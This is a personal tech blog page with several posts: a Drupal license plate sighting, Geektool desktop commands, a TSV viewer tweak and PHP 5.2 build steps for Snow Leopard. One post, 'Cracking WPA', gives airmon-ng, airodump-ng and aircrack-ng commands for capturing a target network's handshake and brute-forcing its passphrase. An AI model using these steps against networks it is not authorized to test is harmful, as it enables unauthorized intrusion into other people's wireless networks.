DRUPAL license plate in NC

car with DRUPAL license plateLOST: owner of a silver Nissan Altima with a DRUPAL license plate.

Who are you? I'd like to meet up. I had no idea there was someone so into Drupal in Harrisburg, at Dino's Pizza & Pasta.

---

FOUND! It's shrop's car. I shoulda known...


Topics:
» deekayen's blog

Druplicon Geektool desktop

Druplicon Geektool desktop

A couple of the commands used for the Geeklets:

top -l 1 | awk '/PhysMem/ {print "Used: " $8 " Free: " $10}'
df -hl | grep 'disk0s2' | awk '{print $4" free ("$5" used)"}'
ps -amcwwwxo "command %mem %cpu" | grep -v grep | head -20
ps -arcwwwxo "command %mem %cpu" | grep -v grep | head -20
curl -s www.whatismyip.com/automation/n09230945.asp | awk {'print "Remote : " $1'}
date '+%A'; date '+%B %e';

The base Druplicon wallpaper is attached with varying background colors:

  • Black
  • Dark blue
  • Grey
  • Light blue
  • Light navy
  • Light yellow
  • Lime green
  • Navy
  • Pale yellow

The Druplicon is licensed under the GPL.


Cracking WPA

Start airmon-ng on channel 6

sudo airmon-ng start wlan0 6
Target the mac of a specific access point until the handshake of the mac shows up at the top, right of the output signifying it captured a handshake.
sudo airodump-ng -c 6 --bssid 00:00:00:A0:32:14 -w psk wlan0
If you grabbed a huge capture, figure out how to split it with wireshark. Test all simple passwords 1 to 8 characters long. John the Ripper is also a possibility for piping passwords to aircrack-ng.
perl ./wg.pl -l 1 -u 8 -v abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 | aircrack-ng -e linksys -w - psk-01.cap
The best passwords make use of the full 63 character limit with WPA2 + AES (given today's possible options). That'll generate enough possible permutations that'll make your average calculator read "Error" just showing you how many possibilities there are. Even if you only use the same 5 characters to make a 63 character string, that's still a crazy hard password.


» deekayen's blog · 1 attachment

Viewing tab delimited files in Mac OS

I kept trying to open TSV (tab separated values) files in NeoOffice or OpenOffice, but they open those files by default in Writer as a document instead of a spreadsheet. Since I just want to view the TSV files to verify they're formatted correctly from my various programming projects, I wanted a simple TSV viewer.

There are plenty of software options that offer *demos* but I found ViewCSVTAB that is listed on Macupdate as freeware. The problem with TSV files is that ViewCSVTAB thinks it should parse .txt files as .tsv. Since I don't want to change my file names every time to get them checked in ViewCSVTAB, I used vi to hack the source and change instances of txt to tsv. Now the attached version will allow you to select .tsv files as the TAB file to parse and preview.

For CSV files, this doesn't interpret or strip quotes from around values in quoted CSV files. It strictly replaces commas as columns.


» deekayen's blog · 1 attachment

Drupal on Snow Leopard

Drupal 6 probably won't ever work right on PHP 5.3.0, which is what Snow Leopard packs by default. My feeling is that since Ubuntu LTS still runs PHP 5.2, Drupal 7 won't work at production level on PHP 5.3.0 either. For that reason, here is my PHP 5.2.10 install instructions for Snow Leopard. It will trash your built-in Snow Leopard install.

For my own selfish reasons, in case I want 5.3.0 back later, here is the configuration line from phpinfo() in the default install of 5.3.0 in Snow Leopard.

/var/tmp/apache_mod_php/apache_mod_php-53~1/php/configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --disable-dependency-tracking --sysconfdir=/private/etc --with-apxs2=/usr/sbin/apxs --enable-cli --with-config-file-path=/etc --with-libxml-dir=/usr --with-openssl=/usr --with-kerberos=/usr --with-zlib=/usr --enable-bcmath --with-bz2=/usr --enable-calendar --with-curl=/usr --enable-exif --enable-ftp --with-gd --with-jpeg-dir=/BinaryCache/apache_mod_php/apache_mod_php-53~1/Root/usr/local --with-png-dir=/BinaryCache/apache_mod_php/apache_mod_php-53~1/Root/usr/local --enable-gd-native-ttf --with-ldap=/usr --with-ldap-sasl=/usr --enable-mbstring --enable-mbregex --with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd --with-mysql-sock=/var/mysql/mysql.sock --with-iodbc=/usr --enable-shmop --with-snmp=/usr --enable-soap --enable-sockets --enable-sysvmsg --enable-sysvsem --enable-sysvshm --with-xmlrpc --with-iconv-dir=/usr --with-xsl=/usr --with-pcre-regex=/usr

...and to backgrade:

Install the latest JPEG library.
Install latest libmcrypt.
Install MySQL 5.0.

Yes, I realize the database isn't the latest version, but it meshes with Ubuntu LTS for the moment.

./configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-apxs2=/usr/sbin/apxs --enable-cli --with-zlib-dir=/usr --enable-mbstring --enable-mbregex --enable-sockets --with-curl=/usr --with-config-file-path=/etc --sysconfdir=/private/etc --with-mysql-sock=/tmp/mysqld.sock --with-pear=/Library/PHP --without-iconv --without-openssl --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-pdo-mysql=/usr/local/mysql/bin/mysql_config --with-mcrypt --with-xmlrpc --with-bz2 --with-zlib-dir=/usr --with-jpeg-dir=/usr/local/lib --with-png-dir=/usr/X11R6 --with-freetype-dir=/usr/X11R6 --with-xpm-dir=/usr/X11R6 --with-gd --enable-ftp --enable-exif --with-kerberos=/usr --with-iodbc=/usr --enable-bcmath --enable-calendar --enable-shmop --enable-soap --enable-sockets --enable-sysvmsg --enable-sysvsem --enable-sysvshm --with-xsl=/usr

Add -lresolv on EXTRA_LIBS in Makefile, or you'll get an error with dns.o right at the end of the compile.

make
sudo make install


Topics:
» deekayen's blog
Syndicate content
recreation